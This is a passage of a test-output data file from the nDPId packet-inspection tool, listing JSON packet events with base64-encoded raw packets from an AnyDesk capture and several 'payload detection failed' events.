zTH7BrKME4pzEReZCVuqncmY96BMaLOkxdaIP2NKr0ew9oHQmlC6\/vwo54yxeDUZPRxKbybKtqMC6SIXG0OsShfvgUYx2E1\/AOrKyQ+3Nj+zvM4ZPNTXj5iA9U7hA76gGZsDtdm49GJGsOrhxtmWBYY9NaTCa8yoBfZbNo2Xz8pzExp64Z2UnIW5B+ZogYeOBPYls+giwQKkYiT+0q+ipREU7ui9S3T5zPPcdgMySTEa6pksDoDHrP6K0H7HeQxfhDuRK4nwSNaETtWP52PfJ88NfsrEXwvIyF1eG+ZgJdxgpYtkUcLa1aeTWemp6MbnFMAbE4bUuZbM2IgpxGqq9+B8Czon6SE51H\/OqxksAQf13bzbEhJoudKQz6VBD6bykczGRaWaAfvyqEbwMBLMjTQF32Bimv9IE3T6Hw24QtePd5vE0\/NqIo6mfKSFYh0zlArzvBzw2z44Yg+sYpDQ8XHR+Hf3N1mNrocwXIC8WQPnxOomFnRtM8JNT3AvqKozi72Bc4am2ZQD32te+HW6yjLdj1vcg9gmon8yltmQf8gFn0Bf3efRBAEvsdl74dQerhAl2V3NS39YfKfAcwjsynLH2SyGu7Vtw11Tb1na2rAr7RLWqkS\/wLD1dR5hzA395c350i6B4x56C7qlgs6wsALtqAmzcd2hM+No0+Vywn+UeIZemyWTakxYzBypHTRmocW6UE0a2AJnbROReWbEuIEWMqNZTV6mRL5hCnbSrYEyHya4ZHfdNL3T5BTRQ1NKvLwDR4rpMcT9svlCC2fSAxf+p1e+JdH1xFVhaCSB\/zXraSl9P3h7fOr+d8MtZgN8H8ThQKbyIEATuKI4Zgjbv\/LN0qELGW1OqIhICsqfpv7BMvFrFwgUP1cYhbXr2A2ocAK+kq5A+PLZZk5dDxSKKcT\/SFGAow8HZzu11xtSAL7oDCRp6+YGVpSixoD1WUhMKt26dOR18ssLXziH\/Ld\/h6gUHuplysJ4DvLe9WHG6+wudOBpFwyv1F1ufuaLNuxCQ8i27og8olxoADFy6gb9dfrONc5GEBgz6Vwjg1AvvgHK7fb94\/UBx+ZyMvpko81tejKp3vjzAglflJhrgZsG7OIs9IJUYca8yy0AfLDiAiYTKb1D3mBndRcn\/RpauIewFszf64nBbQjjHFm7awBxSlpjjh6zRY2Toz86EaDWFShTegnmYmoqlQTRvIicQ7t38bfz7gIP+\/fF34vX1YzOy0+88s2tVV\/RFCHxTaPDqEWdh2LvqO9yq4o3zX\/gorplNW85\/NEKM\/Tu8Q0YSddEj+g0bY0WM3IV49OYwT6y+T3Xu7HQodlzSBpme2DjXO2dMZMjSHoCeN++xEdRBWKiMBbLiRn60w5Nv9agYPVhcOx0JSGMev2Q+rkTn2g6XCvjnMUDJpy0VYqhB2W3uorboerb61\/ztw8Pe9edIYgWZkD9xZcRky9JDqhctZdyI6Y4="} +00178{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2227,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":3223} +07207{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2230,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977615,"pkt_ts_usec":261632,"pkt_caplen":5097,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":5097,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAhtxAAIAGAADAqAG7wKgBstOUG56PNLjaWcRJ1lAYIBCExAAAFwMDE65Z4hNO+msXKsHC1EByEsOiiX+EqJjH7xgZrMeTQO64OHxVBcJsJLNigbczeVcX2QHngxgtxjk9IlMC1DsDlfscMRvmqBePDg2WKcrV\/cdeiH1Q5aeiRtiSQyCoNBHtcWVbqieIzG\/PMFq7qH9DBDjWG7b024d4HkUQd0VyfrF+lZxjlP1tLJtGHpfYgsBFswsqVBmmOvdqrzqbfPGM5yGd1Te+lVdU0K5I2R0SPh0AY4LrDD70jAfXOcMY9vk\/TvHL9x7\/YtIWyWKzuNbDim9dVEfs1pTjgxP1RMpQQQm6nsEUG5CQJY+beo8e23HBZKSTBpWPYsBDPw0df29KmaP+lW9NyUIiZORuOSqFsZqRyO+paFQS00wO1JaJE85DsAajxElR5G2XRtsjEj64CIpam\/Pp+W2X4YNOt2WJs0ftK0XCQjVf+Gs25QclhGWdpgA36TwFPcicZSyMOw0kXuLLd8W+MrJ7eeR3my+gwPEh4nbD5wUfdNv7Rb\/DqZt85zFQhsVU0m\/ZOORmp5tOB7oe6PCTlPwO3B2LvSeQkFtsWJ3JQGy9PzI6txZoy37wpVgwPRcFOr+YhAoZ0y9xkQpKvYEmQc\/4cvxLAPeUzYAwfU7T05H0ywXTWJ0h0Znj0l6XVq4yDov7nu9bwFVTrPlpsIQNktwK8ITSfLpnULhjyv4sQNDqumEGHc+jv8\/fo42Qo3duSuMoWag6YejfSYH\/nGAMskjgQZFyg6G+M0dkGBZBg6rkCu\/tNE8XcLlb1ktikzY9g+xjNE0Kaqfu54wDux9lNqBO30lO83+GtlUDNy8aR0Vm0NOsWdSoWHTqv7GfYdnA2GIy\/x2px03ysxcHFN2YiHrCu93M8UYFfp0lx4\/ocdXC\/cD0KGsfOZqCx9A7XAcLYiYzqBPbqOFLetsQmEqqk+we3FPS4xiyGxu+tUV7Cb\/q00gePH7tRkmOfG1JRHMTKZOh9PNxRqynay\/DCoKjTUj45Us\/mI1lM92vOqMgYSMNgdMZSz\/whrZ\/voWPh4vfA5XOTmphFVDZ2ydZ3XfDAjzS37gogeVnwz\/8d0d43j+orGJINFTZpNVeHYVRZYVnolEZv1nqaAB3IDnJ246iOX4jNkjnj4tiVv5KlySocfEA4i6Dh5Q+6An9rLaRm\/oJ7cBXdpW80Uwr9paJlg4qZCmXacrbRf6ZRaHf749mHoJU0gOhP6HKqugb7bXbApwmsv4c21+CHbPc17PTPPVTuT9+In2EUUiWI2742RRp9+a9yqXjvPFAoB93J4rmh7j1anmDwcpfWrikEkI7DnSBNVvSN5nIDQH9qVXGHRKP2Dh7SUgTiK1UVU0Vx5LelqkMRqLa48yV7Be2on8hHuFmovUI7ypH2kYOS88DugVowqwo3TykoRlYNgigdeOh\/H\/9Ws8ak2i09HVOizEHny\/y5zEfSLLJmfl6OnA\/62HRasfrOM+bUiUKkBTQfowJW\/adPQK9aIqy03xU8TPTMt\/s\/pPiSFuZkkY9o7lOpaRGFJnCCoLSEvnxqNBeD6ydtuhdRtwua9A+XPr4taLUw6abKl1DuEHk5deq\/pZSYfo8GlaaH6H2xQnYFh+PcnCvojmtXtR\/X50HoFTCCv4fgDG+kvq5x1WIa8UVeT96FZnwqTRbElEVsMda2Ofol0DgVDjy4E9wCTxs3YMyhdOIX\/dUEJe2HCj0W1uhu88LlewYsbOSwvxBicN3fHM6WTa7m2+0JDC7ctT7bDooORPFNENJN1LkuT219uqlSZVbqCcJZ\/fpRvCVymAC+v+jRQx+MjIySv684ilFc\/J00hIfk2qGg2FnRlQ\/K25dDY+Ns\/oefoBL\/R2NAuZP+dwQuqToVmQModufrF2uCW49+a+uOZjmx\/QcWVgF9nXRKkzVICDtIDh1t9ME8rZSXxnGQXvNA6N8oOpAOy5X01jujA\/Pn7aO9HMGVV3pN1i2DgQKMhNm61zZ+oseJsM2Nc2XRKCE06AZrdQp\/MguwOse0A8OLEF5Y8mw3yc4Pqnhb2lt54NfL5kdtBLC9+\/slc\/aqu2+xg6gHMGIqDTCpuH7N7zZjOObEOpa3qt4IVYzRzB4BlvdtsYlN1IipLShXZrMLmlXFraQvos0PemA0Dzu2jS9Tgkl1zlEThTQKPPhz0AFrYnZEQoS1llW9mTlWi5pTMrsNbfghZ4H2plwXB8w+XW0TcUC27lN9rAg7xIUjR2f7BtLLzS7t0NF8pq9WbfjbrSGzhVu\/60hto6gJ6+iRhM2EmwSihBYKcGCbNPr1jorfmKpEnw4YnXTgoBXJ43GbkyDlM75wvYdeJpnfniwCH5J+1IIhEOCzcpCHW6POaQgYsRrhtY8j\/yHRhQPBScWUi\/GrS\/pj6b3lZq3SLkZbXqaIenYa+0ICwoYb3KNiHNS0ck3dE6rMguZQnsiCEIS0qcj+b5\/pSRF2Fe4ryorqHdBzOOMbVgEDQ0mUzF6fmwhsSaJzQvrGg8k0bZq0K\/91xiFOX9TleGLLjU69DuwOJ7\/HCSKGYROI1iOa8cGPYtcULsUZr2pb90dj79GCdzhFy2Ircj5i6IoUr9H1lPFJ\/GZknwyIUY1Zlqxxn9oK9OPdfe2yfzGdJyz7ZsYoo1li+fV20z8bcKpFm8X9Lnocuok96YIHonez4d5V\/wjmAfWvxvc13Zx0TkNhQ+t5NReo398q1s+dAT4HeAtcqF8MebJ4lN7oT\/g+x5hcu0EkNDVas4rbmh7rGfICZiR8t6K222z7dTAu9IC\/WfA05o1mU456CKv806qfrDjK5qpZxawRbzEZWP6xyMt2x+JVSt9slJY7PtAYes7uJY8xdejEVJJ8TvX7UREhtcrn4RzhctdxrohL\/ziEWWB2+mQCS02mTsvY1Mq3NIeqiU79QDAclfE1jMUpFha1xvIxLDNthc1zktg9IkFa160BEeNUhnk6rU9yo7FBvFtmCPLiQfKUZnbZ+xRXRZ2cULwEb5j4d\/vEnKsPvM33tbqSjnIzqOQFrrKDvrhLC9QfGbMb4SwbsI\/uO8iLWR5CmRlJ\/ZeKN2MODZXYRdcPvPHSt658KR3SQ68PQUoAIQ5Q8x+ErcmzZmx1sHgSb0WPwbvIhGrYznlf05Oa1DK051Kj\/zdZPhgHrHjmCd1XYI3nY16YzNBiyAw3SY8UU0E2eVFbQovFfyk401RMQh+nXfGAPCXCCwdiEbN8fH8l78+8OKXx4rvorlB1m2\/79rgsCiA\/hXXgT9eywM\/v7xfSC4e0CM2Whcrw+dwW1CvgF5DsR9M9uyzKXNZtLfz8FVkZ6DvxjxoMrfmFAzjKawkd3SVwrh5YZ+NaD+8YF4RftEpuKyUV\/ARQdfBvrpZGJo2cYsajvGZh6+VCCcgjmXCWzVC\/bJs6NrEAuM8Mb2FMCSsg9Ytvj2UEA5F7x7NnVBu2yFqApMmshih++Ccv7sT9RKTviuQnMMienPyOAO4Ib3hrrysy51pW1el2AW70UJW1tXgy1VjQ0w8aYGMCL24NscTlURI4VkZU0y\/JiqW1E7+G6KE99ZPwGDtQC04tRHk4Pcljvma3nfm6g4QHQtCPdy3RCu7y4tppcIWBdZ5mDdwLv3JBj56oIiQtuw2NNuBtDewWbG9JXnRxNB9I8db5pRrEd2T65ubJij0v5L8Kma83XTqhF\/pNc2LyGKWUvDiTDZ\/LbgwxwFG1Cl+nePjZ3j08BCzZgkdEtOi0Do6HKZ0HOtYCrh8YUsQPeulAUJKnL40TEIn6ALoF4KMVt9m7rq0nPl2SoUGbZ+SwGIeujkoWlI\/CKTOPv1h08SGJN\/iVBgNPl7mLuG1Flc9lwBegVUHR+EkXkl+LolzcHY3tKZR8kF\/nEqnOf752QIy9pRJPbCeLuEalJJx9o3uT1N86+xdhFK+JaAIBqcrOeCNXuKd4SfOh+5nz3SCzbMep2urdsPlss9xAQHZ0P5Zs3BqvRpq6tKbFqkNY+dh5zxqQ0W67LVOEtBjHkaddW8yBh2zBxDQIDE56aXPEW+UXpA+68iFqPh2k4jmDymR4qdmwAu8wXQO7h2sGkPJ2M9ttoWz0mAuE0gfwfXM6UXUCF+Vff7kSpAwHUB8IQ\/orPexxPWIXsyBDeAjpwkUB\/YHG\/XgOTLgEX84b8Q4kqpA4QOlHgCl\/UGTZOnSezJzNIV6imrzgobVwAQUZ2izQr77YRvv137NW+CMNoshrcbiG+W+d2cDJ\/U264bmVp+iyzroubBp5fGWHZLwrKbPkpTQTQlmE02UKm6HovANgBtxqi7jKe9uq+XIdOIO8+667eKJUo8BeHqhizs24OSkI59T+CYvhP80PSGW8cd1FEfkboPuwWyDc2pjNNfftUKpSYuGrpp2A3hgAwEHhiBlt+8hmKxoP0B6dO4feB9UNn\/6d3qeBgKXZOWLAr1\/4Nckx+jhUKGp5nyfM14VCFJ8cPER1fXpQ6gsbL4Ls2\/vhEOihDZkiC+d+X6w3tGXYwhjGaYuwPp0AIP5xQ8zEt0xDDObKGof9\/qvK28AZlc8qwUKwHzfgBkeNyCttS626ZbMfqr2uRXbMKWfWQrvlpwx82sUtpCcYZEvvgL9pLT9GmjWvO8CMkibRrhqqmfVgs8KdX7te6\/8hjPlJ9HDMtFDkL0Dnp96GDVf\/MvIhkB+g6KB8Rryr7yX+7RRL\/Z+HTiZsY8ld0djNNe8L8rjwbMdWAyXff78D5z+QDm2vBCLcyV9UHgr3n\/gqYCO3V1UeTGarQ7pNRFKWKnONjqDRIzk9DWn4OPqpu5EDnU9JqRu\/XKGZY+DYB0odHXGLgDKP3CBCiuwpHNmyKPGZwQKR5h2PMV59R0XVx\/BYbjTb0ZCxmumJi1FaSHlAjuH\/1nenw8m20kUW7\/jM6xEW3gU3c5iLC4wGMc4SVncpl5mphE+dQ2xFz98fmFrZgVpBQgeb9MVEYuRcTFAYMeFvLqL9b2o39fVW311s+8ZRydREIFN9c2J5Dp1yIHvDi5y20BJgPxOam+EChiQ4opVP+2wKiWxZ+RKv5Dyxr8Y1YJPjGvrMOT6v232Snmw1zRUPkmsyuoz8I26zbVN7be9MGl6QaQygOxqZ6R5Grq\/b2yUA7yFp+9oHaITaQZKLskfXm1kzzEMmI1TLu4QwfY+vZWYTf9bnzBYwM1egn19MGdLV8DI6v6m7WhPu9hsEmY6\/KxdRCAK8A\/5xmruPN3qhZyYuiL7gShThR8zhrXRLUhn5ead+REE7fmvccFV5zgGQdsYvTyWm\/UnYlO+HIRIdOgaWpaC6iZQabTAPRYonWwdRNK9OmXrZLSrRxpWrsiOPhSFL8ds\/Yx5YkWGZAVhqFLT2HHJ29L7jSVU\/8VmKJ9mKldbj+akGQHBYJ2eR3fil12zR23HgVuZQNKUtPwtAAg2Az+EZLqmrQ6xo3LvfPZ4EjDA6DsjGiEEqb0x\/amEYleYd\/VazrAg4hIdMjtkmrvBC6dzcfQWB8rCIp18BY8MJWdqfoXpqfjpZ3F4YL9PUEJixtiG0OZoJZsux2lGcVozmKE8obbJeylGFFk+ugsaEIcHUDjDkLzIF2Dqi4XuaPoCbER5rYuiFxbojaR\/9gAlGDIst\/IvAXXyIxTHMJ3jA9TgAylP1e3QVJZXu4uezyFo6NFetxabZp\/pRG\/xOEYlyRqZeJZWAdAWpMKJtZXoM1X6QqFPfxsYz32SiGgxA2Cm2SYnBL8VW2atrrX99lKBLsCnRQc8BzcXOzqPDSaB+lD9WowhuyTPVTwr8\/fZP9WC+14TZKSzpWW4KNK7Jk4TWRbuKWeLw9Ralau21mEXuiEa3IZhzpbGeU3dA2+DbobcfiwoV5mIss3EjXcZ5Popl5RmnEcxEvGdEhW0L6IWSokLNq5HF+dwhKNcSkzJcA1XoiRwdkpBLadZuhIYn4qFYzviPohLwSjtbI+eCTG8kifxfShVZl4If9XuHFRFIL2KLU5yUmfugzaEzn+kZYqRjlljvIOuI2zwWy0CuBvP+Y+I+OGX6Lgr6Qik58TDe+ZHP3ZErHHjRONZGjG7NGQ2WhUq2iYlR5djBh6hnDZ38x0GDWzeyz1nAaK9w3vkYjtd2Oj4iKrVNlVuahkzK7gxzcaef4os6I4eL9RuDzGe3sJzy4Vpem4WN+1uZeKotse71DjOIBZWYInmDufh\/lCE4NRAjRwqLOvmlnkpxp+CL6RHdCFIQzBm3\/UT3GA2\/ABusMT6M5aE5NHAWEzO1AZ89OpENP5nBbd8OATu4tDmMc\/cKWOlRnLu83ZgrrxobiKqzm7je6xOFsoLn6DlBmdxDgQ7knz10a0c5M3+1mvnMtZ9fIMAK6N4DUM1lx8nBvOakD4elVnOrYCpbTZEWULNBa7jr9ooKLdv5B43DheQpwZzOjDViDRQ++hFdHhxx6hEh6X6o+wAogvR\/rZLyAneIRrm8NrrQwpjRsvC6zK+xxxRP9DdMESji+iqL1CAcl5Mgk6TRHaW9WdTwsk9J+1i4EWLRrHhHQ0Fpy+4W9zt5eP5o\/RF6hmfHR1j2mcVUk6kHicwFHFG15Dnr5ApzYTAXzxl3RipK0pm\/RtC0e\/WfA261CnLbfGo1NGiIORTcCY88Yd7xQ+7UIv33qXWHvEKaBR3SAfl6W8TNAwtPxMbYb6h4m0NPu3XLhWOCD24OYTTQMK42GddxW+KcQwvefkoBcWHmUkIe7rYMjHRsyAaP4iStttez8oS4+5ytCgv9XXt"} +00178{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2230,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":5063} +07854{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2231,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977615,"pkt_ts_usec":262373,"pkt_caplen":5556,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":5556,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAhuBAAIAGAADAqAG7wKgBstOUG56PNMyNWcRJ1lAYIBCExAAAFwMDFXlZ4hNO+msXK\/N1OFIoauL9JwUNidt57h9o6um2MCLI3wPYi7QWZgiRVb0eJuorq4ki5evK+6YzhuXu9pPL9IabMicPDK+sRxW3hB1JVUgZqmkqMTkNln24zjF7m\/pcIha052c5Nl8vWAB4OIap97tWduigvHVHlM1FZEmEPhK88Ps5CThE+u9RL1Ft61Og3X2\/478ucrjnPUXA5mrjv6stgjuLFITJPs2REJCNZxlmK2NCZ+mGsrGJWtU2xJIfLDY9anlSenUpuxpWIFPXVORX2XQS56WIwukJOJTUXL93q4QbGnVGOVjlhNyJp\/+DpO0NHq8fU7fHKTGJxsXx49fg972NbtUzCqybgCTol7YIK8XWwGw3hLTmyBEkM9GdUcffU8E8II9Qas7S+dhYJ90YrVehvfKhXF+cYnLLyBv3PHKAKzFq8l\/Q90Q48J+2pPybPXDTa1hWaku6nwVuM7+YWboIE\/RGIUX2j5tPExa5MlDv\/M9oUNXJsTedCtN76YR8gXuTtRnwvlHYSZK0yl4RHlc+mvkZVgFR9fvBb2JfTAQSpovG9nHCyIqmTDFlXfkROmvCH\/WpBwAQcxMkyduaeRLTzFFektE\/TTCTgrvJCyrPJ+a0ueIJTMerO8yfKDEqMQJW4pmkDxB5ccEnEggCIMl1LHQzotZDuuIgpTjwaryPk9pQadUPBYDKpGT2B8coNBDiePJU1SGJOnG6ryLcBlK2Ygr8pTnsIvjCsgVVdiDHvmygF0T1HOqjwOfvc2cn\/JL+GrEQDjQei98a5X6FRo4WGRC2tsqt3YVf8z8nMowV5rPeT1D9A77bNhfOXGrOGNs15lT\/Q\/EtDHdLJrS4UK\/wBoffiWpf7ce52syxHSqj87Jn8OwfrXQ9nP8fLKMOZJvY3D\/k2ootoiBx6MZ3ZsILMfmbIKbaTtbt+ndW9yriyP\/DZALk6i6nnfjAyfeBQXB7Kq7HfLZnIRvCky279+WnnWEPeCGvuOFeFo8ztd7BTrrA36PQPC8u2R6DowSsKAdzZsd1e3oqAR3qN\/c+IX0W3d9TPAPn9S9XFLtyww4b2SmbcfLltF0pyda+RVcc6FzZJGuxhI0niuPFLGvCysOw6ijSz\/eO+W2iEY45MCbUPnTEeyYeBx+jPAIdKE6uaB2pqYDXHW25RjX6ENtWpvyVsJ6FyPGADPhSNEeEav\/3CmZJJueaJVoGOh726\/o+CBnA9Nnz25TiQ8EFNPfTRdJSaWlBrpsUesb7hr5JjKGI\/\/jpGMuHVbp7OcmkLn6pXPB6wZoPOYY+o76\/\/W4Gm\/izXo8wi6yf0+cjspk\/UBSMIud5M9thvtJsDAMXwT6TheS03Y3AEHZchxUgyqc1t32uLVYEFT5CzMyoeRJdctMKuKQAA6y3F\/wo2GZOcgLc4Uu\/sFlnJtFhwJQO\/cg\/DZjgjP\/doBltXQwlOli99VYA5\/zXyBp4Q5Qe0WBo3mcgUvzOTePctlePzmODlCV9xyVYnEgAnfrkV7aEQlBiLqO951D0OE7PrfmbLItd7RsItkZG71CCW9L1yXnpjTV23kZsQUBMWrfjAVl5S+d3shiYsXMYnya2q03DsNEs8MXeZw+q8iRP4pCrQn5uMICKpR5r2guMl6qW4hdVF\/vvgwdQtiCobfM682+XXIYzw80uF8UWvQouuHZsG0HmtjkERUSD3ZvdlRC2hK0HCBXi1MDmF5IAsrYG\/O+Vt6xI+bfaLSyfLOshGXAmiNIQ31ipEMMRkOkB+nPUYM3L5y6i0pcOIYiTAq75ZfgdffJejwPSJDLoS3n7TDWpzQUnGmruOO1wYXphC9Chl5a5qkg0EF9u1tuHwHtrN85IL87Iv8SRjKNrnjaj6QpPuGpM\/IwiLChTCYTuH\/wW5ZnBiQui5lfPRzy0hzRYI8IULYVQfnHPL8jTFcHSq1i1ghi3X\/1VuyD17h7wXl4wZ9r4jvPnbILElLhIityxoBm7c4Qh5vHQvNMnXKfffaKcB2QKQil+NoTnXh6PLIlPDcIyppWxrJnuwIChsLwSrxHX5NfyO8eE7vOugAkN6Vplj8r\/Uz60csKkp1Wozv\/Stqpu40N6q\/a2f98lmvx6D8qnXexyhp8NDqUfSjEmdqO\/1DZLvnJO3oxvDKoeXLckJBLVamI9c1MBHtBDBJWJ7dfDL5dPg3OSzBgfTcBk+ke79yGni5Wqc2pZB+a3RSykepZHywQGVkBLjZAiCW9ST2iK6Cn\/lPfgrqJqiG58zEvE2L4tSecNkXk7ovzbQvZXrQpLAQ2V5ZMsfelDYT1NKFljo3UBTI\/hkeq7M\/VSLF\/E3YwiLqFM3qnh4jlDIekBB6OXkLt+NMRtKqRELpEQs64hlPPmd1T2qjZyBPeQid2AWO4T6Z3deSIITqNZKcoFAZ\/Qc77aSUCE8EmtIJNWBTv00fDbf8L6jUZIEq9ICzPYOZVo\/isFsZBA+\/UWkJqXCpbLra6cR+n+3P8nJG8nneSRz8LUHPxwPY2Rws+WsITohIueogr4zkNqf8NmEBs5KJr7yFgUaAtFfQTzJm\/OSN9fCW1Tzo2\/l9zwez0LiXS0KCTcIl\/yLhln\/Vc29O2UJrZiwiBtmXzk+3b3eIR5sRFucjRMdFreaJ07T4MSU2iIkUQMOWtgAKffjhdkb3y+Kot+6HfTvvVU0di34ilVXSXg1YolkMI9+imEUsFy4nQHuRU+DwIIuPxy6v0UWSfLIcwynS5lpCLGaMcMCcHDHHYA7jBS3QP4u+4K+fjdlv\/UzW\/uLY2Yx+E1HQO2AQMOrWfoEN9aEq3T\/GU9cqkrcNXtz3OdRrnEyUj1Lih7lVjtseuY1mXpMwmwSTO5rdv0YswdxpeAzVP9gnsXIUkzECmXJBhAtsVSObmjsPDS1gxvPTsQQvHr+5CIwo01ZToiBORQA389cCBvGtUWht+vUZKD0epnorYKYOfQqK33rM6MeFyChqos7OwVQBaThKUpkCOF2nlz4CItWyxU+z9IqUjZhom+nJRcd+RwfRjeQz5y1uQSru7etqMvtOf9VhLqbG2WQZkmiPVOx0So8rhGBuuXvUSJvFaIO94Iln7Ih2mdSUede8xSGckYD9Y7a6Y9FWHK86KWIgPYCyN\/db8dJvWQbBsu4S5\/5Itwnfa+0gdQdXnhsr25gs4d1C0ZWCtTLLOaWVt3A0BAwgnjvg0WJM6M2Rqvbw2cK6mNn4AiX0aYZQnjZfXEZXuj1HeHLbD6+ba\/+PVIoSWr6Ldms1Hdxmm8\/\/N06Nq5DddpPxjUjEsekp1mqezr+uyFVQaYizJTC88nYsRp2\/vettY8\/pkory9mkWJqoqmkPUyCy1Rm4PO\/FwUWZrv\/u0bih6YDZQ1pcaLCIZ8q3kBJLC6MxHpTMfBpYYdSZgJDqn2BY4EsdWXbT626ZPy29fg4hq2fIS6T3FunLsaewPDKSdf9UBlURLR1sZbMiGYpkYQy6PoUOGueMg6IdnV1\/9aAvcPQs8SjI6XNi362mg367etUmOOb9ak4IFS2O0LPexzZXyc6PEeye\/8d+FNWWxA5G\/3MDv8U8BpFzxsL8u+gUwrq5c4xV\/dMV23khiB1e1Yk3E\/TAqLCGg9KEJs8jOGbhIG2ZYb\/8vKBoy9qRSoei\/Y3wVvw27Yh603FjsVsbiO3d9Ihs0B5Iv4q7tMa3dPSA1K5IV9AJMVPl6z9I8d2a3smseeMVadHaE8P\/EFKKDq6sAPVL+uAlf71xSaclsWtdmcQbqj62jl0Tu\/VRPQgmWBY5PFa7hhqODGT8rqOSG8KdK22wIYa5xwaz2EwYyL4aePg5keG+kgnVfyCg0Fx0pQtPqdS9WZ1F17yGqZX9GOVYgaEsRUPqGkVufttXQxQ\/TpzOCcqABzqwIX5XM2ytQlclSWM1elwddsbNDCL0ZyN41beZuuoky+ExNd5DZR\/1ZHhbTb7bDe9N7Zcz8UfiJoEP6PUv7eQN9cldk3dLQXWhe4rjjUaAA0ee\/8XsbTMR59sHLCa\/5pHTR\/1hJf1Z01ws2EUVHpC84hHLXKWo\/noFIY\/a6+oO8RRnM2Q2lsmCSxjV2tZace181xFChirQeVAUqGH5txjfp\/twoMNLmtYLaccVSmx07CNWwee1oMBOCXH4LSAK7HsO3Mcs+ilWwUWpcXIVo3BLdbn8p4of\/r2+9xTfNX9yM83ibsIFJZhCHoRirIVV7MB4iNjEhmKawuzqVFXBpcctLyP5UwtVn0grUISZLO0QoMIz10ReA6XJPJpOCbn8dhrBGhJFGFb4cKmq5fRnZPXLPu1aAsDoNQW9zT204mOi+18yel10hyDKhLDZU+BSNt8MuwdW0TTYw0vHDNjv3kkN1ZCqxJgWiV1tTS49xbth6pWEdDb8fXV\/qfC6z34tevfafCxshGBDYFx33U27hL3hleXGkUnX04q4RC9ycJluUyvD2US4bnANL7juP7ooDulNjIEjM4+PoRyoS1PL8pQvSz4IcHXiUdR7vo7A85vkpQVKRBqyqpqILcdO0sNN3pT152JWGhkYCvRAmXDm03COEfZUmof50AaAP1fJxOfADQlAS5GPRZ7L5dfzIbJlXZHXHiLp+KKC4q+FXfrIufVRcqhbQajxYIXBFrp8kcKrFA\/Ch5b0X8Y\/\/\/imWWyOrEwF6\/BoxM0Yq\/JFCPV36nwqFLLNTEH31fDYR22f7XHRTBN4qMgyDh4m1D4O6MqzMoCv2dBvVnKxWEK80RyR2MYFEXyCe0I0YlWp+rt2SSnMi2AOJZS\/\/EOUkCenFzk6nu7I3zDEWgwb7tZiuQXz2sPOajjqVtdGapmJ5VAgC9GHbrIMb4nhSbmrOK8DvqrVKpVaVAjTOJ6UkGUd1bt3tMQJad\/DjNsUB5r5xygLOD\/bt3CnHv2iIQlfxm8VtZ\/h+a0\/B7pVQwknAhhLehbVosjcYGaXUkOjUpHy8UKNYScRi4CC8ngT7hKFvijfqNgvfTxPfkEX7t7EbBhAe8mFe8aiORV1JC7IPAPapmHvvw0vCc8posOpkv8hLIyxesJCXM3MK0nwABMhvnuF1tHsI1rja9p\/IP17v2QFMZMr03ZfiFpa+3bUlgViwtHHIuhaFuJ9SpwfYztKFDXPCEXXioWp8FEoCoNe+dn91xIBNY9zdl\/eFm9xtYJX7vdzqsJCyx9\/93lFDNDjruo\/pE4l9idyX8xLXXXVbgA2GV8loPZ\/eeD3IfT1zG\/Ykel1XosSRSV96ol1WGvOe9JOirKc1bez\/HOAT1rjDRqxOKcZx6iCMXaIjfLJgWAUTSmo5D1X\/pgLod7JMa53rWzITTaz2+38Vk4oHNXznIIFOTNr77fqDK2lhg\/6BaHkxvFewvVVBdkA2gqBjDBYX60\/DmQT8LRi9ANVSTgZJ0gi8vd7txnFaGOETnHGSp6zEJ0jtetvu3\/TrqdA16MDFvWT1mCszn8YVoubUvY3AASktaf2tKrLWQQNBneDZtycbybZsCDNwWBItO\/MyhgS\/knf2gpSKuyLjG5eg3XwaTHYfPxf6u+dLUHjDKAwO0OpJYWPQSLlrJCGkM\/dm\/KIvfsgo72mYkgSzKbYY5bBqJWR9cCZlk+F+YDmOkPE+Y\/YeXyBHWhQZFNHr1tWqk9+x+Uc7rLXz9ERltz016wI\/DKZSUz6Q1pSUxuClSQxiW9nJkQIQPoaAwmRJpueikOR++aqJ0p+eTQYPWuKVAQILiKDT+MLlDPQj5YaHmK6E8UKIhcPh3UHWEBCnAN45G+bfYtU9tjCcLD68FffJ4ulpSBmzuIrFxSKTkHkCP7rOKTBTJWXJPRqpS7UW4XayOMYhRRZ2ycHoyimRMAxgsZ3DDL\/gXKTJ7FMO4Br3d4oUD\/hLL76J6MP6UMhlwuzmcZQzl\/Yl6wWnwGvxuzm2AX9hs1xHdemsaPmRDeFEM6EY\/siIO1UXOhIOAfai2y028G4RRuLGCJswuySgUe5J8GMqzBbIeoxZuy6xCP6m+K1XpUj\/Rv58YkfxvREt81vC1gFvgRRTN9l+pGo+xYnNc2fsbPujr9grGW80iWmXY1ajPaDKK\/UAa0SkeO3PkjU7PkXVTjeyAkXzL5\/NzvreLW\/Fo2Ikai+l7lMnqMJbZFEVlpFPOe\/aqctDTu2nRWLl6MsBw0EEHvWCks5MJWFm28IHISRxZopif5Ob\/b\/YM2N+zgFblLlut02fyPZZuJGdsz+dax3EZEo9+u1n85uTIjV0fe1Ztn6wTXUseK4CpVB5soVi0UcMD8kLaxc0OItMHqTnEiqyZdijaedsL2R3d54EdgLvYZ8U7ZLhkvcRpYMNdXyh6YF\/wwPee2zQtObAnoSICyi+6RjDNUMQQPKgORHPJ+gNpa6jsIcujzBNfHBzfKTlwbVpOrydoALOS+I3rkgNskvIPkaGa\/V89RPYeT4tCkJ8EmEZVRelqhbjR8nkq\/AIKVdLnfSgJP0xYE26eqlfpKHaIlW3e8QRyfgl5vn1CVDsCy3xNkzQJ\/tq6Oi9IZB3L6bDtDp7nBP9iCM0fuhzKRBaubgyD9Sp0+6eCbWevAkjUB\/3NRzVQcFvEcZ+AWWKgo+PXbNvYYUl3sSRZ8EmhR7R6BvLNzI5